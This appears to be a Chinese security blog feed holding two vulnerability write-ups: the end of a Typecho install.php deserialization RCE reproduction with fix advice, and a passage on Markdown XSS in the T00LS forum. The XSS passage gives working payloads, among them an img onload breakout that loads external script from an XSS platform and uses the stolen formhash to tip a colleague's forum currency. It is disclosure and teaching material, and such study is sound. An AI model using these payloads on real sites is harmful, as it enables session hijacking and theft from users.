src="https://wechat2rss.xlab.app/img-proxy/?k=2392746e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6DIib9cibvOJtSmJ5YIlF57AMiaTCUdlbgpZqbmRqXMJxzJOnADlYgialvQ%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">我们可以利用这个<code style="box-sizing: border-box;">$item</code>来调用某个类的<code style="box-sizing: border-box;">__get()</code>方法，上面说过<code style="box-sizing: border-box;">__get()</code>方法是用于从不可访问的属性读取数据，实际执行中这里会获取该类的<code style="box-sizing: border-box;">screenName</code>属性，如果我们给<code style="box-sizing: border-box;">$item[&#39;author&#39;]</code>设置的类中没有<code style="box-sizing: border-box;">screenName</code>就会执行该类的<code style="box-sizing: border-box;">__get()</code>方法，我们继续来全局搜索一下<code style="box-sizing: border-box;">__get()</code>方法。</p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">发现<code style="box-sizing: border-box;">/var/Typecho/Request.php</code>中的<code style="box-sizing: border-box;">__get()</code>方法如下：</p><p><img data-s="300,640" data-type="png" data-w="1116" style="" class="" data-ratio="0.16487455197132617" src="https://wechat2rss.xlab.app/img-proxy/?k=89aba28b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6ECHb4UVA6QlibzR73BsTqVD3r02m5jo0WL0BnQ5ECLFr8jKDcSl2B8w%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);">跟进</span><code style="box-sizing: border-box;">$this-&gt;get()</code><span style="color: rgb(51, 51, 51);">方法如下：</span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="1436" style="" class="" data-ratio="0.479108635097493" src="https://wechat2rss.xlab.app/img-proxy/?k=d1140266&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6H5WVb8F6NaceS3mwkD4KHicLY5bgxsn9zEnqvQUVHlAxY6Dgw0ibib0Xw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);"></span><span style="color: rgb(51, 51, 51);">这里没什么问题，但最后一行：</span></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="810" style="" class="" data-ratio="0.11604938271604938" src="https://wechat2rss.xlab.app/img-proxy/?k=b782bbe9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6ZAG11MbxYjtyFemAuQLgbZVsjkmAleJNdXzbUW3UJRCribicAcO4wTSA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);">跟进一下发现：</span><span style="color: rgb(51, 51, 51);"></span><br/></p><p><span style="color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="png" data-w="1318" style="" class="" data-ratio="0.3960546282245827" src="https://wechat2rss.xlab.app/img-proxy/?k=0facb634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6zrk1JFxvxvY972Ojnhl6ArIZhibElz5HPdb0ibiaM9EETNQxSQTnNwNIw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="color: rgb(51, 51, 51);"></span></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">这个<code style="box-sizing: border-box;">foreach</code>里面判断如果<code style="box-sizing: border-box;">$value</code>是数组就执行<code style="box-sizing: border-box;">array_map</code>否则调用<code style="box-sizing: border-box;">call_user_func</code>，这俩函数都是执行代码的关键方法。而这里<code style="box-sizing: border-box;">$filter</code>和<code style="box-sizing: border-box;">$value</code>我们几乎都是可以间接控制的，所以就可以利用<code style="box-sizing: border-box;">call_user_func</code>或者<code style="box-sizing: border-box;">array_map</code>来执行代码，比如我们设置<code style="box-sizing: border-box;">$filter</code>为数组，第一个数组键值是<code style="box-sizing: border-box;">assert</code>，<code style="box-sizing: border-box;">$value</code>设置php代码，即可执行。</p><p><img data-s="300,640" data-type="png" data-w="1042" style="width: 332px;height: 282px;" class="" data-ratio="0.8483685220729367" src="https://wechat2rss.xlab.app/img-proxy/?k=a9674d2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6IwgbuTwdGo4iakfenQEAElfmBmryQazgxiajVV3JwibhGNjoT65XglQRw%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">然后我们来完成Exploit如下：</p><p><img data-s="300,640" data-type="png" data-w="1210" style="" class="" data-ratio="0.7471074380165289" src="https://wechat2rss.xlab.app/img-proxy/?k=538599a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6rWbSwgKnNYlic8qzvgKu9mpOq10XFK4aKe2iaWzAbkItpDcd4jwrTv8A%2F0%3Fwx_fmt%3Dpng"/></p><p><img data-s="300,640" data-type="png" data-w="1154" style="" class="" data-ratio="0.58578856152513" src="https://wechat2rss.xlab.app/img-proxy/?k=d73e4b14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa6z2EC3HDHosibwsxIibEMU0pibCjKvS55dGWicLNvfJmRI5teiadCBTnLlkw%2F0%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">然后运行该php，使用输出的payload访问：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-copyright="0" style="" class="" data-ratio="0.496875" src="https://wechat2rss.xlab.app/img-proxy/?k=d56776ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzgL5OO9rxO0X4vLkianGHa65sCZUvknS8BdqOgb1Scu8X39J4dqaibXwCy3r5fwRKvQwwm6No5xAIg%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style="box-sizing: border-box;margin-bottom: 16px;color: rgb(51, 51, 51);">至此该漏洞复现成功。</p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;line-height: 1.225;font-size: 1.75em;font-weight: bold;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);">修复方法</h2><ul style="" class=" list-paddingleft-2"><li><p>官方今天发布了1.1Beta版本修复了该漏洞，升级该版本，链接：<a href="http://typecho.org/archives/133/" target="_blank">http://typecho.org/archives/133/</a></p></li><li><p>也可以删除掉install.php和install目录。</p></li></ul><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em;margin-bottom: 1em;padding: 16px;font-size: 16px;white-space: normal;line-height: 25px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);color: rgb(127, 127, 127);background-color: rgb(254, 255, 225);border-radius: 4px;box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p style="white-space: normal;"><br/></p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto;margin-left: auto;white-space: normal;border-width: initial;border-style: none;border-color: initial;width: 20em;"><section class="xhr" style="padding: 0.8em 0em;width: 320px;background: rgb(240, 240, 240);overflow: hidden;"><section style="margin-right: auto;margin-left: auto;width: 256px;"><section style="padding-bottom: 0.5em;width: 256px;text-align: center;border-bottom: 1px solid rgb(221, 221, 221);font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em;width: 256px;text-align: center;"><section style="margin-right: 1em;width: 102.391px;display: inline-block;vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em;width: 102.391px;display: inline-block;vertical-align: top;background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100%;color: rgb(114, 114, 114);font-size: 1em;line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p><p style="white-space: normal;"><br/></p><p><br/></p>



<p><a href="2247483927">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ff2b841c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483927%26idx%3D1%26sn%3D1f393957089ee6aa5acfc5be5c4dbe39%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Oct 2017 09:08:00 +0800</pubDate>
    </item>
    <item>
      <title>T00LS帖子正文XSS</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483901&amp;idx=1&amp;sn=e08fa808ef3106ca19f8f4dde0cb0a2a</link>
      <description>学了这么多年黑客，终于黑了一次黑客了，感觉人生都圆满了呢~~</description>
      <content:encoded><![CDATA[<p>
原创 <span>王松_Striker</span> <span>2017-06-26 08:57</span> <span style="display: inline-block;"></span>
</p>

<p>学了这么多年黑客，终于黑了一次黑客了，感觉人生都圆满了呢~~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cdb1e6fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoR8l9ibN1KnSWXF5CrAI8RLKPmUx2mdYmTJQhSxkLcrqLtRjbWDKroZyQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section></section><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="font-size: 1em;  color: rgb(51, 51, 51);"><br/></span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="font-size: 1em;  color: rgb(51, 51, 51);">T00LS在前段时间开启了Markdown支持，这个漏洞也正是Markdown的问题导致的。</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">Markdown本身是一种标记语言，在网页上的应用也很简单，比如当我在<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">Markdown</span>中输入<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">**加粗**</code>，那么经过转换之后，这个短句将会变成<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">&lt;strong&gt;加粗&lt;/strong&gt;</code>。其实也是一系列的html转换，由此就会出现很多XSS的问题。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">下面我结合T00LS的实例简单说一说Markdown的XSS漏洞。</p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">最基础的栗子，点击触发XSS</span></h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><span style="background-color: rgb(255, 255, 255);">很多人了解markdown以后，可能想到的第一个XSS就是这个。</span><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们知道markdown可以插入超链接。用法如下：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">[王松的博客](<a href="http://www.hackersb.cn)" target="_blank">http://www.hackersb.cn)</a></code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">渲染出来的效果如下：</p><p><img data-s="300,640" data-type="png" data-w="768" data-ratio="0.11979166666666667" src="https://wechat2rss.xlab.app/img-proxy/?k=372847a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRFfEzG0aPqberAYVK9pKufnj4zJdFmbUfeFLpSCKS662L7uUiaAEU82Q%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">那么如果我们使用伪协议呢？比如：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">[XSS](javascript:alert(1))</code></pre><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.5984375" src="https://wechat2rss.xlab.app/img-proxy/?k=58d7d99f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRT0QC46SDPYyoiboLYRGE198ctZG0dnlickL3icq3PiccaQGQouqrI3gsVQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">答案是可以弹框。然后我们尝试弹出Cookies，但是Discuz的cookies都设置了httponly，也就是说无法用javascript来获取cookies。<br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">但是我们可以获取Discuz的formhash呀，在Discuz中，为了防止CSRF，几乎每个操作都使用了formhash，我们能获取到formhash，就可以操作当前账户几乎所有的动作了。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">那么用js如何获取Dz的formhash呢？</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">在帖子正文页，我们可能会需要回帖，所以肯定会有formhash，如下：</p><p><img data-s="300,640" data-type="png" data-w="1360" data-ratio="0.5235294117647059" src="https://wechat2rss.xlab.app/img-proxy/?k=0cc5195e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRRtguXhvGeKSShGdfn8WapGvCZvZGicC97JjtZh3XRib4HghtFghSIP4A%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">那么我们就可以用js操作来获取了。</span></p><p><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; "></span></p><p><img data-s="300,640" data-type="png" data-w="1100" data-ratio="0.5236363636363637" src="https://wechat2rss.xlab.app/img-proxy/?k=2dabe16b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRQjvyWAoCwhj5WRy2PTIcWQbicIhyPA0baJMLRYSuyxJwOBppiaaYuQ7w%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">获取到formhash以后，我们可以选择直接发送请求来用formhash做点“有趣的事情”，比如发帖，转账？</p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">高级一点，自动触发</span></h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">在上面的操作中，我们需要被攻击者点击超链接才可以触发漏洞，那么我们能不能直接触发呢？</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们先来看看在markdown中如何使用图片吧。栗子如下：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">![头像](<a href="https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)" target="_blank">https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)</a></code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">渲染效果如下：</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><img data-w="120" style="box-sizing: border-box; border-width: 0px; border-style: initial; border-color: initial;" data-type="jpeg" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=447cda98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRkgXtEySY5eaKkncX1ukVicUtKJicuu8Y3gicE1bYMUbELXJt08jWAAyEw%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们先来看看转换后的html长啥样吧：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.0703125" src="https://wechat2rss.xlab.app/img-proxy/?k=b8c0a153&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRE1vo3ulw0CFQia3W0xHfqR4VaO7uKQoR3sVS7Jjxbs9xP0GDyBMQyuA%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们在<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">[]</code>中输入的内容变成了html中的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">alt</code>，那么如果我们在这中间用双引号是否能够逃逸出来，加个onload或者onerror属性呢？</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">比如：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">![头像&#34; onload=alert(1)](<a href="https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)" target="_blank">https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)</a></code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">输出结果如下：</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.0625" src="https://wechat2rss.xlab.app/img-proxy/?k=18fe4954&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRZNIam5fJW3tdZN8zNnZRxGJYLPEx8HaiaoXW9DZd6WwKmhxNrtpvyfw%2F0%3Fwx_fmt%3Djpeg"/><span style=" background-color: rgb(255, 255, 255); color: rgb(51, 51, 51) ; ; ; ; ; ; ">￼</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">很明显alert后面多了一个双引号，所以我们简单改一下payload，注释掉后面：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">![头像&#34; onload=alert(1);//](<a href="https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)" target="_blank">https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)</a><br/></code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后刷新以后：<br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.4234375" src="https://wechat2rss.xlab.app/img-proxy/?k=82236d09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRT7hdWpR0ABTeKEJNaOXjfuM0qyh1kjzvwNgDQqyLfqD0icQWqcQHxsA%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">果然执行了…… 这个时候已经自动触发了。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">输出样式如下：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.0609375" src="https://wechat2rss.xlab.app/img-proxy/?k=8ae31def&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoR6IWWdvI2R5Ltuic9qkXeNpoMzgGDH4fj1nrzpLBOjsX9B58HIRaJIwQ%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">一个能自动触发的XSS，可比需要点击的XSS威力大了许多。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">但是在实战中我们要执行的js代码可能会非常长，所以在onload里面写js难免会很麻烦。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">so 我们需要引入外部js。</p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">再高级一些，引入外部js</span></h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这次我们直接点，payload如下：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">![头像&#34; onload=s=createElement(&#39;script&#39;);body.appendChild(s);s.src=&#39;外部js的url&#39;;//](<a href="https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)" target="_blank">https://www.t00ls.net/uc_server/data/avatar/000/01/08/66_avatar_middle.jpg)</a><br/></code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">比如我们引用一个弹出formhash的js：<br/></p><p><img data-s="300,640" data-type="jpeg" data-w="1276" data-ratio="0.3181818181818182" src="https://wechat2rss.xlab.app/img-proxy/?k=abd76a93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoR3vVMLKuicS7eG5zB0x4gx81rAgrXJdCpgxplqbMtL70FpKKkJiajGvNg%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; "><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这里我用到了安全盒子的XSS平台，地址是x.secbox.cn</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">成功弹出formhash：</p><p><img data-s="300,640" data-type="png" data-w="1348" data-ratio="0.3961424332344214" src="https://wechat2rss.xlab.app/img-proxy/?k=ee61e1cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoReF9dJHVFI4vRxQwFu5XAWEDTOnOeGrRC3ZZe1BMfGhtQs24aDibNejg%2F0%3Fwx_fmt%3Dpng"/></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 24px;">实例：转走别人的Tubi</span></h2><p><span style="color: rgb(51, 51, 51); background-color: rgb(255, 255, 255);">我们先来选一个目标，这里我就选择我们团队的核心大佬 @phithon 了。</span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">为了不误伤其他小伙伴，我这里就编辑我以前的帖子，发给phithon师傅去看，从而触发XSS。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">基本思路如下：</p><ol style=" box-sizing: border-box; padding-left: 2em; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p>p神访问触发XSS</p></li><li><p>获取formhash</p></li><li><p>发送请求模拟赞赏帖子</p></li></ol><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这里选择赞赏贴子的原因是因为银行转账需要输入论坛密码，无法模拟转账，我们只是做漏洞演示，所以赞赏就够啦。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">赞赏也是可以自定义tubi的，我们就来“偷”10个p神的tubi吧~</p><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; "><span style="font-size: 20px;">payload编写</span></h3><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">很简单的payload就不解释了，如下：</p><p><img data-s="300,640" data-type="png" data-w="1978" data-ratio="0.391304347826087" src="https://wechat2rss.xlab.app/img-proxy/?k=cf7d46ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRGDJV9VpCQedaFwvtBZ4KZtk76I83FWn0vCBLibhJqsQgt2TXK49fBiaA%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后引入一下,即可“偷”tubi：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.27890625" src="https://wechat2rss.xlab.app/img-proxy/?k=59615298&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyDq3bkmDpgJr8DRyicrOeoRR4lj81QCbThujVGGkUWpVmLr0bQQOtGYOV05Y6krOUicrBibD3wCKicRg%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">那么我们现在把这个帖子发给phithon师傅去看。</p><p><img data-s="300,640" data-type="jpeg" data-w="450" data-ratio="1.2133333333333334" 